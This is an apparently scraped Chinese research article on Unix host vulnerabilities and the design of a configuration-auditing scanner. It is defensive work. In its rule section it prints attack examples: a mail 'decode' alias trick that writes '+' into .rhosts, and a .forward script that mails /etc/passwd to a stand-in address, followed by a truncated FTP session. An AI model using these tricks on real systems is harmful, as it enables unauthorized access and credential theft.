Unix主机安全漏洞分析及漏洞扫描器的设计与实现.docx
- 文档编号:5472026
- 上传时间:2023-05-08
- 格式:DOCX
- 页数:18
- 大小:39.82KB
Unix主机安全漏洞分析及漏洞扫描器的设计与实现.docx
《Unix主机安全漏洞分析及漏洞扫描器的设计与实现.docx》由会员分享,可在线阅读,更多相关《Unix主机安全漏洞分析及漏洞扫描器的设计与实现.docx(18页珍藏版)》请在冰点文库上搜索。
Unix主机安全漏洞分析及漏洞扫描器的设计与实现
Unix主机安全漏洞分析及漏洞扫描器的设计与实现
薛静锋北京理工大学计算机科学工程系
薛静锋,北京理工大学计算机科学工程系博士研究生,主要研究方向为网络安全技术。
曾参与过的研究课题有:
“分布式协同专家系统开发工具、计算机网络隐患扫描技术,目前在研的课题为“异常入侵检测技术研究”。
近三年来出版计算机书籍6本,译著2本;在各种学术刊物上发表论文7篇。
可以通过E_mail:
xuebook@与他联系!
简介:
自从1993年Internet上首次采用第一种图形用户界面NCSAMOSAIC以来,这一全球最大网络的用户数量与服务内容都有了迅猛增加。
商业集团和个人用户都很快意识到,由Internet带来的革命化通信时代,为通信应用领域开辟了无限的前景。
如今,计算机互联网技术在信息交互、信息处理、信息查找、信息管理等方面起着越来越重要的作用。
互连网络为人们获取信息、交换信息、管理信息和进行各种社会活动提供了一个快速而方便的平台,为社会的发展带来了巨大效益。
引言
然而,在人们得益于信息革命所带来的巨大机遇的同时,也不得不面对信息安全问题的严峻挑战。
西方发达国家将由计算机武装起来的社会称为"脆弱的社会",就是基于以下事实:
计算机主机和网络系统不断被非法入侵、计算机病毒不断在产生和传播,导致重要的经济、政治和军事情报资料被窃取,重要的网络服务时时有被攻破和崩溃的危险。
这些给各行各业带来了巨大的经济损失,甚至危及国家安全。
在中国,形势同样不容乐观。
随着网络经济的发展,在我们这个拥有2250万网民(据CNNIC2000年的有关统计)的国度里,各网站也时常受到国内黑客和境外黑客及垮客(Cracker)的攻击和威胁。
综上所述,信息革命在改变人类传统的生产、生活方式并极大促进生产力发展的同时,也带来了不容忽视的负面影响。
网络和主机安全正成为每一个计算机用户都面临的紧迫问题。
就是在这样的背景下,为了解决这些问题,一系列的网络安全技术应运而生。
主机漏洞扫描技术可以说是网络安全技术中除了防火墙技术、入侵检测技术、加密和认证之外的另一项重要的安全技术。
不管攻击者是从外部还是从内部攻击某一网络系统,攻击机会是由于他利用该系统的已经知道的漏洞而得到的。
对于系统管理员来说,漏洞扫描器是最好的助手,能够主动发现Web服务器主机系统的漏洞,在主机系统安全保卫战中做到"有的放矢",及时修补漏洞,构筑坚固的安全长城。
目前,连接于互联网中的服务器大都采用Unix操作系统,因此,我们设计并实现了一个Unix主机漏洞扫描器,设计该漏洞扫描器的出发点是:
以系统管理员的视野,发掘Unix主机系统漏洞,目的是增强主机系统的安全性。
如今,在计算机安全领域,漏洞扫描器的作用与PC机病毒检测软件相似,对于系统管理员来说已经是不可或缺的重要工具软件。
Unix主机系统安全漏洞存在的必然性分析
这里,我们将从以下四个方面分析Unix主机系统安全漏洞存在的必然性。
2.1操作系统安全的脆弱性
2.1.1操作系统体系结构的安全隐患
这是计算机系统脆弱性的根本原因。
如Unix系统的许多版本升级开发都是采用打补丁(Patch)的方式进行的,这种方式黑客同样也可以使用。
另外,操作系统的程序可以动态链接,包括I/O驱动程序与系统服务,但这同样为黑客提供了可乘之机。
如黑客可将磁带设备的软链接点/dev/rmt/0进行修改,添加某种后门程序,那么当用户执行tarcvf/dev/rmt/0*这类命令的时候,可能激活该后门程序从而导致漏洞的产生。
可是操作系统支持程序动态链接和数据动态交换又是现代操作系统集成和扩展必备的功能,因而出现了自相矛盾之处。
2.1.2进程创建和远程过程调用(RPC)的安全隐患
一方面,Unix操作系统支持远程加载程序,另一方面,它又可以创建进程,支持在网络节点上创建和激活远程进程,并且被创建的进程能够继承父进程的权限。
这两点结合在一起就为黑客在远程服务器上安装"间谍"软件提供了可能。
2.1.3系统守护进程的安全隐患
守护进程实际上是一组系统进程,它们总是等待相应条件的出现,一旦条件满足,进程便继续进行下去。
这些进程特性是黑客能够利用的。
值得注意的是,关键不是守护程序本身,而是这种守护进程是否具有与操作系统核心层软件同等的权利。
实际上,在Unix刚刚开发出来的时候,安全性还并不是它主要关注的因素。
它的安全模型是为局域网环境下的小型或中等规模的工作组所设计的。
1988年的Internet蠕虫事件就是一个明显的证据:
在系统级别上的安全措施是非常不够的。
尽管蠕虫事件导致CarnegieMellon大学计算机紧急情况反应小组(ComputerEmergenceResponseTeam,CERT)的成立,并加强了系统供应商和系统管理员的安全意识,但现在人们对于安全问题的认识和准备还是远远落后于各种专业或业余黑客的能力和决心。
幸运的是,现在有很多的OEM附加安全部件和第三方产品可以为承担风险的WWW、FTP、EmailUnix服务器提供足够的保障。
2.2应用软件系统安全的脆弱性
2.2.1应用软件在安全设计上的滞后性
目前Internet上运行的很多应用软件在最初设计的时候根本或很少考虑到要抵挡黑客的攻击。
为局域网设计的Client/Server结构的应用程序在未做任何修改的情况下,直接联到了Internet环境下,然后便面临着被攻击。
即使这些软件获得了防火墙和其他安全手段的保护,这种危险依旧存在。
实践表明,不管一个应用软件看起来可能会有多么安全,由于用来开发和运行这个程序的工具甚至用来保护它的组件都可能具有安全漏洞,使得该软件的安全可能变得非常脆弱。
也就是说,软件安全是一个系统工程,系统各相互作用的组件必须放在安全这个统一的标尺去衡量、开发和使用维护。
比如对于系统调用函数get(),如果孤立地去考察它,并没有致命的安全漏洞。
但是当黑客借助特权程序利用get()函数不检查参数长度的缺陷,制造缓冲区溢出,并转而执行一个Shell,则普通用户就变成了root用户。
可见,在一个相互作用的系统里,小小的设计缺陷可能导致致命的漏洞。
2.2.2应用软件在安全评估上的困难性
由于在Internet上运行的诸如WWW、Email等服务软件代码规模较大、设计复杂,要从理论上证明这类复杂程序的安全性,以目前的技术手段,还是一个有待突破的世界难题。
现在评估软件安全性的常用方法,就是在具体使用中去检测,甚至借助黑客们的攻击来发现软件的安全漏洞并加以修补。
这里以Sendmail和NetscapeMessagingServer3.6这两个著名的邮件服务软件为例说明这个问题。
Sendmail是一个大型的复杂程序,可以在公司内部或在Internet间发送电子邮件。
在过去,黑客们探索出Sendmail设计上的很多缺陷,因此它也被软件开发人员无数次地修改和打补丁。
尽管如此,黑客们似乎总能发现新的缺陷。
作为商业化的Email服务软件,NetscapeMessagingServer3.6的安全性比前者要好,如果去黑客网站浏览一下,Sendmail的漏洞公告牌触目皆是,而NetscapeMessagingServer3.6就少得多。
但我们在使用中,发现其存在一个非常危险的漏洞。
比如为禁绝非法邮件的攻击和干扰,需要利用其Plugin模块的Filter功能,编写filter.cfg脚本来过滤邮件。
虽然非法邮件不会抵达最终用户或不会被转发,但不幸的是,大量的非法邮件依旧会存储在Email服务器内,一切的过滤操作均是在服务器无条件接收下所有邮件后才进行,且不能自动删除。
这就为黑客后门程序驻留服务器提供了可能。
可喜的是,MessagingServer4.0以上的版本解决了这个致命问题。
2.3计算机网络安全的脆弱性
Internet使用的TCP/IP协议以及FTP、NFS等都包含许多不安全的因素,存在可为黑客所利用的漏洞。
2.3.1TCP/IP协议漏洞
Internet技术屏蔽了底层网络硬件细节,使得异种网络之间可以互相通信。
TCP/IP协议组是目前使用最广泛的网络互连协议之一。
但TCP/IP协议组本身存在着一些安全性问题。
这就给"黑客"们攻击网络以可乘之机。
由于大量重要的应用程序都以TCP作为它们的传输层协议,因此TCP的安全性问题会给网络带来严重的后果。
2.3.2NFS(NetworkFileSystem)的安全漏洞
NFS实际上是互信主机间的share-mount文件和目录共享机制,其主要作用就是将网络上的其他计算机对外共享的文件和目录资源挂接在另一台主机上,供用户对数据进行访问。
NFS服务器在共享目录时如果未设置相应的限制(实际应用中常常如此),其结果是有太多的客户机(包括黑客)可以访问共享目录,导致数据泄露。
如果共享目录可写或存在可执行的文件,甚至允许客户在NFS装入的目录上创建SetUID程序(可能使黑客获得root权限),则数据和系统安全性大大降低;即使NFS服务器在共享目录时设置了相应的限制,包括安全身份验证模式,但对于能够伪造身份进行攻击的黑客或对于局域网内部的使用者来说,安全级别不高。
实践表明,NFS是一个网站计算机基础设施中的薄弱环节。
2.3.3FTP(FileTransferProtocol)漏洞
FTP往往被黑客用于获取远程系统的访问权限或存放非法取得的文件(即FTP滥用)。
这个安全漏洞是由于提供FTP服务的关键文件或目录的用户访问权限设置不当造成的。
同时,主机FTP服务可能被黑客利用为制造缓冲区溢出的条件。
这个安全漏洞的形成原因主要是软件开发设计的缺陷,如著名的wu-ftp2.4的软件bug会导致黑客通过FTP登录来获得root权限。
2.4配置不当导致的系统漏洞
大部分计算机安全问题是由于管理不当,而不是由于上述的三大原因。
不同的系统配置直接影响系统的安全性。
系统管理漏洞主要有两个方面:
系统管理员对系统的设置存在安全漏洞。
如弱势口令、被信任主机等问题;系统的部分功能自身存在安全漏洞隐患,如tftp网络服务,可以通过恰当的设置去除这些漏洞隐患的威胁。
但系统管理员或者未意识到或者配置失误,系统自身存在的安全漏洞隐患依旧存在。
不同的系统配置直接影响系统的安全性。
不少系统管理员常抱怨系统自身的安全漏洞,实际上这些所谓的系统自身安全漏洞往往是管理员配置不够完善形成的。
完善的系统配置和严格的系统管理是减少安全漏洞、提高主机系统安全性的主要手段。
Unix主机系统安全性分析及漏洞扫描技术概述
综合以上对Unix主机系统安全漏洞存在的必然性的分析,可以看出网络的安全取决于方方面面的因素,分散于网络的的各个环节,应该采取的相应的防范措施也有很多,单一的防范也是不够的。
但所有的攻击和防守的最终目标几乎都是网络上的主机系统。
因为主机系统上存储、处理和传输各种重要数据,可以说主机的安全问题是Internet安全的核心问题之一,是Internet实现安全性的关键。
因此,主机系统的安全防护也是整个安全策略中非常重要的一环。
主机的安全性基本上依赖于三个方面:
无错的操作系统代码和应用程序设计;良好的系统配置;功能与安全性之间适当的平衡。
基本上讲,处理网络和主机安全问题主要有两种方法,即允许访问和拒绝访问。
∙允许访问:
在这种安全方式中,指定的用户必须具有某种特权或符合一定的标准才能够进行访问。
∙拒绝访问:
这种安全方式是对某一网络和主机资源访问的一个拒绝。
在这种方式中,根据一套标准来否决用户的访问,规定了用户被拒绝访问的特性。
实践表明,只有达到允许访问和拒绝访问之间的最佳平衡,才能获得Web服务器主机系统安全的最优化,偏执任何一方要么制约Web服务器的可用性,要么出现严重的安全漏洞,应使二者一起协同工作。
主机漏洞扫描器是实现允许访问和拒绝访问之间最佳平衡的主要工具,因为拒绝访问安全方式的主要目的之一是封堵漏洞限制访问避免攻击,允许访问安全方式的前提之一也是不会由此产生系统漏洞,这说明避免系统漏洞是允许访问和拒绝访问之间的一个重要的平衡点,而主机漏洞扫描器恰恰是发现系统漏洞的主要工具。
主机漏洞扫描系统是一种自动检测本地主机安全性弱点的程序。
它以系统管理员的身份对所维护的服务器进行特征扫描,从主机系统内部检测系统配置的缺陷,模拟系统管理员进行系统内部审核的全过程,发现能够被黑客利用的种种误配置。
实际上,能够从主机系统内部检测系统配置的缺陷,是系统管理员的漏洞扫描器与黑客拥有的漏洞扫描器之间在技术上的最大区别。
黑客在扫描目标主机漏洞阶段,即在攻击准备阶段,是不可能进行目标主机系统内部检测的。
定期对主机系统进行漏洞扫描,在一定程度上能让系统管理员间接地或直接地了解到所维护的网络服务器所存在的安全问题。
Unix主机漏洞扫描器的设计与实现
本漏洞扫描器的总体目标是构造一个运行于Unix操作系统平台的基于浏览器/服务器(B/S)结构的,可以扫描Unix操作系统安全漏洞的主机漏洞扫描器。
整个扫描器的结构如图1所示。
图1Unix主机漏洞扫描器的结构
由于主机扫描模块需要模拟一些系统管理员的行为,所以必须在被扫描的目标主机上运行,而且需要超级用户的权限。
主机扫描模块驻留于目标主机,它接受系统管理员通过控制平台服务器传来的启动命令及配置参数,根据用户的要求完成扫描功能,之后,将扫描结果通过控制平台服务器反馈给系统管理员,以便系统管理员做出响应。
控制平台服务器是一个Web服务器,它可以与驻留于多个目标主机的主机扫描模块进行交互。
4.1主机扫描模块的工作原理
整个主机漏洞扫描器的核心部件是主机扫描模块,主机扫描模块完成扫描的全部功能,其工作原理如图2所示。
其中,主机扫描引擎对目标主机进行扫描,获取扫描信息,然后由匹配机将扫描信息与主机系统配置规则库中的标准配置规则进行匹配比较,从而发现违反安全策略的配置行为,并进行相应的漏洞报警。
在漏洞扫描器的实现中,主机扫描引擎、主机系统配置规则库和匹配机构成主机扫描模块,而漏洞报警被传送至控制平台服务器。
图2主机扫描模块的工作原理
4.2主机扫描模块与控制平台之间的通信
由于控制平台和目标主机不在同一台机器上,所以必须考虑主机扫描模块以何种方式同控制平台进行通信。
在进行原型设计时,曾采用远程登录的方式:
从控制平台输入管理员的账号和密码后登录到目标主机,再在目标主机上启动主机扫描模块。
这样的方式在原型设计阶段是很适合的,因为用Perl语言和一些现成的包来实现Telnet是比较方便的,而且在字符界面下,目标主机的扫描结果可以通过Telnet协议返回到虚拟终端上,无需做专门的处理。
但是在最后成型阶段,这样的结构就具有一些缺点了:
首先从实现上来讲,用C语言来实现Telnet的协商过程是一个很复杂的工作,而且扫描结果要在最后的图形界面显示出来,又需要一个相对复杂的处理;最重要的是,作为一个网络安全的软件,本身的安全是很重要的,而Telnet方式是以明码方式在网络上传递超级用户的账号和密码的,这一点将使软件本身具有一个很大的安全隐患。
所以最后我们采用了浏览器/服务器结构。
整个主机扫描模块的采用的是浏览器/服务器结构。
浏览器通过一个JavaScript请求模块把用户输入的目标主机的地址提取出来,加上一个特定的端口号,再作为一个完整的请求发送出去。
浏览器对这个端口发出的请求是按照Http协议的格式发送的,如果在服务器端程序里再做一个类似于协议分析器的工具来分析到达的Http请求将会使实现变得非常复杂。
其实利用套接字的原理就能方便地解决这个问题。
套接字是服务器端特定端口和客户端特定端口建立连接后的一个通道,此通道具有唯一性,因为它是由一个唯一的四元组来确定的:
服务器端的IP地址和端口号、客户端的IP地址和端口号。
当浏览器和服务器相应端口的连接建立以后,服务器端向该套接字发送的所有信息都将送到客户端的浏览器。
根据Web浏览器软件的特点和Http协议的特点,从服务器端来的信息如果只是ASCII信息,浏览器将缺省地把它归为text/plain类,当作文本直接显示,如果发送的信息再加上一些HTML的标记,浏览器则会把它看作text/html类显示,这样我们不仅能方便地把服务器端的输出结果显示到客户端的浏览器上,还能利用HTML的特点对显示加以控制。
所以我们只需在服务器端创建一个套接字,并绑定到特定的端口,然后程序在该特定端口监听。
当有信息到达时,根据套接字的唯一性,程序不作其他考虑,认定它是从客户端来的扫描请求,马上启动主机扫描模块,而不用作复杂的Http协议请求分析;并实时地把扫描结果向该套接字输出,这样就能直接返回给浏览器并呈现给用户。
4.3主机系统配置规则库的设计
主机扫描模块功能的实现主要依赖于主机系统配置规则库,该规则库的有效性和完备性直接决定着扫描器的扫描性能。
在该规则库的设计中,我们主要考虑了以下规则。
4.3.1口令安全性规则
通过口令进行身份认证是目前实现计算机安全的主要手段之一,一个用户的口令被非法用户获悉,则该非法用户即获得了该用户的全部权限,这样,尤其是高权限用户的口令泄露以后,主机和网络也就随即失去了安全性。
系统管理员以及其它所有用户对口令选取应采取负责的态度,消除侥幸和偷懒思想。
具体来说应遵循以下一些规则:
∙口令长度不要小于6位,并应同时包含字母和数字,以及标点符号和控制字符。
∙口令中不要使用常用单词(避免字典攻击)、英文简称、个人信息(如生日、名字、反向拼写的登录名、房间中可见的东西)、年份以及机器中的命令等,不要在不同系统上,特别是不同级别的用户上使用同一口令。
∙定期改变口令。
∙系统安装对口令文件进行隐藏的程序或设置(例如ShadowSuiteforlinux)。
∙系统配置对用户口令设置情况进行检测的程序,并强制用户定期改变口令,任何一个用户口令的脆弱,都会影响整个系统的安全性。
4.3.2超级用户唯一性规则
超级用户对于系统的一切文件都有进行所有操作的权利。
但是最大的自由相应地也需要承担最大的风险,如果超级用户权限被黑客得到,将对整个系统带来毁灭性的打击。
为了减少超级用户被破译的可能性,必须将系统中多余的超级用户删除,在一个系统中只存在一个超级用户是每个系统管理员必须遵守的原则。
超级用户可以从/etc/passwd文件中查出,超级用户的userID为0,但是groupID稍有不同,在不同的系统版本里分别有两种形式:
0或1。
当/etc/passwd文件中有多于两个用户项为:
用户名:
x:
0:
0或用户名:
x:
0:
1时,就必须遵照唯一性规则进行改正。
4.3.3禁用Trusted主机(被信任主机)规则
在实际工作中,系统管理员为方便与其他主机进行数据传输、软硬件资源共享和r服务(如rlogin、rsh等远程系统调用命令),往往在/etc/hosts.equiv文件中设置远程主机名,以此确认该主机为Truseted主机。
这样,一个被信任主机可以不需口令地访问系统及调用r服务。
更有甚者,某些系统管理员在/etc/hosts.equiv文件内设置"+"符号,虽然这个参数可以方便所有远程访问,但同样方便了黑客。
因为这会使任何一台主机上的任何用户都可以不需口令地访问系统,对系统安全造成很大的损害。
同样,.rhosts文件也提供了Trusted主机和r命令访问功能。
但它比/etc/hosts.equiv文件可能会导致更大的安全漏洞。
因为系统内的任何用户都可能在各自的$HOME目录下创建该文件。
那么.rhosts文件中指定的远程主机上的用户在以该用户名登录本地主机系统时,不需口令认证。
特别是在.rhosts文件内设置"+"符号的情形,更会使任何一台主机上的任何用户都可以不需口令地访问本系统的这个用户,从而导致安全漏洞的出现。
为安全计,如果无特殊需要,应该清除一切Trusted主机相关配置。
4.3.4禁用r命令规则
r命令是由Berkley开发的一系列命令软件,由于这些命令如rlogin、rsh、rcp、rdist等均以"r"开头,因此统称为r命令。
r命令固有的弱点包括:
任何口令都是未经加密的,如果有人对网络进行窃听,很容易发现口令;整个r命令对话都是未经加密的,对话中的每一个字符(包括口令)很容易被记录下来;系统管理员为管理方便,经常使用rlogin等命令从远程登录来调试Web服务器的设置,形成潜在的安全漏洞。
为安全计,如果无特殊需要,应该在路由器上或主机/etc/inetd.conf文件内过滤掉512、513和514(TCP)端口,这样可阻止主机外部用户使用r命令。
4.3.5禁用XWindows规则
XWindows系统是一种客户机/服务器结构的窗口系统,每个拥有显示设备的主机系统都可以作为服务器,并可接受另一个主机系统作为其客户。
它的运行模式是:
程序在客户机系统上运行,而用户界面却显示在服务器的显示设备上,客户机通过网络把应该显示出来的内容传送给服务器,服务器则把用户的输入通过网络传送给客户机。
和r命令一样,所有的XWindows传输内容都是不加密的,并且它的身份验证功能也不够强大,容易丧失作用(如"xhost+"命令)。
为安全计,如果无特殊需要,XWindows设置可以认为是不必要的。
4.3.6禁用/etc/aliases中的"decode"别名规则
如果系统管理员没有将/etc/aliases文件内以decode别名起始的一行注释掉,那么该主机允许decode别名。
若用户zy主目录(如/export/home/zy)下的.rhosts文件对daemon(smtp服务器通常以daemon用户身份运行)可写,即有:
sun%echo"+"|uuencode/export/home/zy/.rhosts|maildecode@
在该例中,本地的uuencode程序生成一个编码流,文件名为"/export/home/zy/.rhosts",内容为一个"+",并作为电子邮件发给上的decode别名。
收到该邮件后,把这个编码流重定向到解码程序uudecode,uudecode则恢复文件内容,并试图把它存为/export/home/zy/.rhosts。
如果daemon对/export/home/zy/目录有写权限,则上述命令执行成功。
于是/export/home/zy/.rhosts中就出现一个"+",这正是攻击者需要的。
为安全计,应该禁用/etc/aliases中的"decode"别名。
4.3.7审核文件和目录权限规则
(1)FTP的根目录
FTP的根目录不同于主机系统的根目录,所以FTP下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建FTP目录结构时会把系统的/etc/passwd文件直接拷贝过来,这就会给黑客以可乘之机。
FTP的根目录是在系统的/etc/passwd文件中指定的,也就是用匿名FTP登录到主机后的起始目录。
例如:
事先编写forward_sucker_fileshell脚本,内容为:
sun%catforward_sucker_file
"|/bin/cat/etc/passwd|sed's/^//'|/bin/mailme@my.e-mail.addr"
通过FTP将forward_sucker_file脚本传送到目标主机(如)
sun%ftp
Connectedto
220victimFTPserverready.
Name(:
zy):
ftp
3
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Unix 主机 安全漏洞 分析 漏洞 扫描器 设计 实现